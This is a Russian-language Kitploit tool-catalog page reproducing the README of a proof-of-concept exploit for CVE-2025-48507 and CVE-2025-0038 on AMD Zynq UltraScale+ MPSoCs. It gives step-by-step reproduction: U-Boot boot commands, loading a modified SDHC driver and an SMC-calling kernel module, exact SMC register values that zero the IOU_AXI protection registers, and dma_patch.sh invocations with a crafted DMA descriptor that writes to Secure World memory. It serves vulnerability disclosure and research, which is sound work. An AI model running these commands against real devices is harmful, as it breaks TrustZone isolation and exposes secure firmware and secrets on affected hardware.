Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PoC_CVE-2025-48507 — Доказательство концепции CVE-2025-48507. Уязвимость может быть использована небезопасным ПО (например, Linux) для нарушения Trust Zone и получения доступа к Secure world. | Kitploit
Инструменты/GitHubGitHub/jdbonfils/poc_cve-2025-48507
Безопасность встроенных системПовышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеАппаратная БезопасностьRed TeamingЭксплуатация Бинарных Файлов
GitHubjdbonfils/poc_cve-2025-48507

PoC_CVE-2025-48507

Доказательство концепции CVE-2025-48507. Уязвимость может быть использована небезопасным ПО (например, Linux) для нарушения Trust Zone и получения доступа к Secure world.

29 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

Взлом TrustZone на Zynq UltraScale+ MPSoCs - доказательство концепции для CVE-2025-48507 и CVE-2025-0038

Небезопасное программное обеспечение может использовать CVE-2025-48507 и CVE-2025-0038 для получения доступа на чтение/запись к Secure World на платформах Zynq UltraScale+, тем самым нарушая изоляцию TrustZone. Для этого небезопасное ПО использует CVE-2025-0038 и CVE-2025-48507, чтобы обнулить регистры IOU_AXI_WPRTCN и IOU_AXI_RPRTCN (0xFF240000) и переключить SD Host Controller в режим Secure Master. Затем небезопасное ПО (например, Linux) использует SD Host Controller (slave-интерфейс остаётся небезопасным) для записи или чтения любой Secure-памяти.

Подробнее:

  • Бюллетени безопасности AMD:
    • AMD-SB-8008 (CVE-2025-0038) https://docs.amd.com/r/en-US/000037628/CVE-Details
    • AMD-SB-8017 (CVE-2025-48507): https://docs.amd.com/r/en-US/000039030/CVE-Details
  • Презентация PoC в PowerPoint: /doc/PoC_Exploit_presentation.pdf
  • Видео PoC: https://www.dropbox.com/scl/fi/2ug3w9ukf366g4mi5g7y7/CVE-PoC.mp4?rlkey=9zgdayte0vv4114assf0grfgg&st=9qupyn9d&dl=0
  • Оригинальная исследовательская статья (раздел 5.5): /doc/preprint.pdf

Затронутые платформы:

  • Kria™ SOM
  • Zynq UltraScale+ MPSoCs
  • Zynq UltraScale+ RFSoCs

Затронутые компоненты:

  • Arm Trusted Firmware для процессоров Cortex-A (TF-A) и PMU Firmware версии до 2025.1 включительно.

Организация этого репозитория:

  • source/ : Исходники для воспроизведения PoC на Zynq UltraScale+ MPSoCs (ZC104)

    • Для использования CVE-2025-48507 и CVE-2025-0038

      • smc-tt.c: Базовый модуль ядра, позволяющий небезопасному Linux отправлять произвольные SMC-вызовы.

      • Makefile: Makefile для кросс-компиляции модулей ядра (пути необходимо адаптировать).

    • Для эксплуатации CVE-2025-0038 и CVE-2025-48507

      • sdhc.c: Модифицированный драйвер SDHC, позволяющий совершать DMA-атаки с помощью SD Host Controller (SDHC)
      • dma_patch.sh: Удобный скрипт, использующий модифицированный драйвер SDHC для патча произвольных областей памяти через DMA-возможности SDHC
  • doc/ : Презентации и исследовательская статья, детально описывающие уязвимости на уровне TF-A и PMU.

  • hw_debug/: Скрипты для аппаратного отладчика для отладки TF-A на APU и процессоре PMU. Они предоставляют среду для отладки затронутых функций в PMU Firmware и TF-A и подтверждают успех атаки. Эти скрипты предназначены для использования с Trace32 и аппаратным отладчиком Lauterbach PowerDebug PRO JTAG. Аппаратный отладчик был подключён к JTAG-порту (J180) платы ZCU104.

Воспроизведение атаки

Сборка окружения:
  1. Соберите уязвимую среду (т.е. Linux, TF-A, PMU Firmware...).

    • Например, предварительно собранные образы Petalinux, Yocto, инструменты Petalinux...
  2. При сборке Linux настройте драйвер SDHC как загружаемый модуль ядра через kconfig. Это требуется только для эксплуатации.

    • MMC_SDHCI=M
  3. Скомпилируйте модули ядра smc-tt.c и sdhci.c. Предоставленный Makefile можно использовать, адаптировав пути к ядру и компилятору.

  4. Для использования CVE добавьте smc-tt.ko в корневую файловую систему Linux.

  5. Для эксплуатации CVE добавьте sdhci.ko и dma_patch.sh в корневую файловую систему Linux.

PoC и эксплуатация CVE:

В PoC система (т.е. fsbl, uboot...) загружалась с SD-карты. Корневая файловая система Linux была записана на USB. Для DMA-атаки Linux использовал пустой раздел SD-карты, доступ к которому осуществлялся через SD Host Controller под управлением модифицированного драйвера SDHC (sdhci.ko).

Для простого тестирования CVE шаги 2, 3 и 5 можно пропустить.

  1. Команды U-boot для загрузки Linux в небезопасном мире с корневой ФС на USB-разделе:

    root@kitploit:~
    setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
    
  2. Вставьте модифицированный драйвер SDHC для выполнения произвольного DMA-доступа:

    root@kitploit:~
    insmod /sdhci.ko
    insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
    insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko 
    
  3. Попробуйте пропатчить Secure-память с помощью модифицированного драйвера SDHC. Это должно не удаться, так как SDHC всё ещё находится в небезопасном режиме:

    root@kitploit:~
    ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
    
    • ARG1: PAYLOAD

    • ARG2: Вредоносный дескриптор для выполнения мошеннического DMA-доступа.

      • Например, '\x00\x00\xdc\xff\x20\x00\x23\x00' для записи 0x20 байт по адресу 0xFFDC0000. \x23\x00 должен оставаться как есть.
    • ARG3: Раздел устройства, управляемый SD Host Controller под управлением модифицированного драйвера SDHC.

      • Например, /dev/mmcblk0p3
  4. Используйте CVE для обнуления IOU_AXI_WPRTCN и IOU_AXI_RPRTCN (0xFF240000):

    root@kitploit:~
    insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
    
    • 0xc200002E: Уязвимый SMC-вызов (PM_FPGA_READ).

    • 0xff24000000000100: Адрес для обнуления (0xFF240000) (т.е. IOU_AXI_RPRTCN/IOU_AXI_WPRTCN) и количество байт для обнуления (0x00000100)

Теперь Linux может использовать DMA SDHC для полного доступа к Secure-памяти.

Скачать инструмент
  • 0x100000000: Считать данные PL обратно в основную память (0x1). Так как ничего не было загружено, это просто обнулит целевую область памяти.

  • Дополнительная информация о параметрах PM_FPGA_READ: https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693

  • Попробуйте снова пропатчить Secure-память (0xFFDC0000). Теперь это должно удаться, так как SDHC теперь Secure:

    root@kitploit:~
    ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3